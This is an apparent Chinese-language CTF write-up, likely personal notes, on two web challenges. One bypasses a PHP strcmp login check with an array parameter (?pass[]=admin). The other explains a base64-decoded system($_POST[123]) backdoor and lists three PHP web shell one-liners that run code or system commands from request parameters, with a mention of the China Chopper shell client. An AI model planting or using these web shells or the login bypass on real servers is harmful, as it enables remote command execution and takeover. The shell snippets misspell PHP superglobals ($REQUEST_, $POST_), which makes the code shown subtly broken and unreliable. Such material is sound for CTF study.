# Web CTF ### Secret Login 題目: ![](https://i.imgur.com/SkvXhRf.png) 原始碼: ![](https://i.imgur.com/3R5qJQI.png) 解題思路: 原本想以config.php 下去找,在url列 用curl -v 和 ?pass=config.php都沒東西, 因此針對strcmp下去思考 1. 參數兩者相同為0,pass < secret 返回<0,反之>0 2. 這函數在收到不符合的型態會報錯誤,php5.3以前error後會return 0 3. 讓pass是一個 list 或 object 即可 4. php為了可以上傳一個list,會把結尾帶一對中括號的變量,例如 xxx[]的name(就是$_GET中的key),當作一個名字為xxx的數組構造類似如下的request 5. ?pass[]=admin [解題連結](https://blog.csdn.net/cherrie007/article/details/77473817) ### Web shell ![](https://i.imgur.com/JCY5w0x.png) 題目本身只給php檔,連同flag一同附上 這題有一些觀念,首先base64 decode完後會得到system($_POST[123]); webshell 分成三種 ```php <?php eval($REQUEST_['cmd']); ?> ``` request 代表可在url 中後面接參數 e.g. http://xxx.xxx.xxx/index.php?cmd=phpinfo(); eval 代表只能執行php 指令 e.g.:phpinfo() ```php <?php system($REQUEST_['cmd']); ?> ``` system代表可執行系統指令 e.g. ls 、cat ```php <?php @eval($POST_['cmd']); ?> ``` 小老鼠@代表即使有錯誤訊息也不回傳 cmd 中都可以自行更改,不加上單引號也代表與有單引號相同意思 用hacker bar開啟post功能,下次試試中國菜刀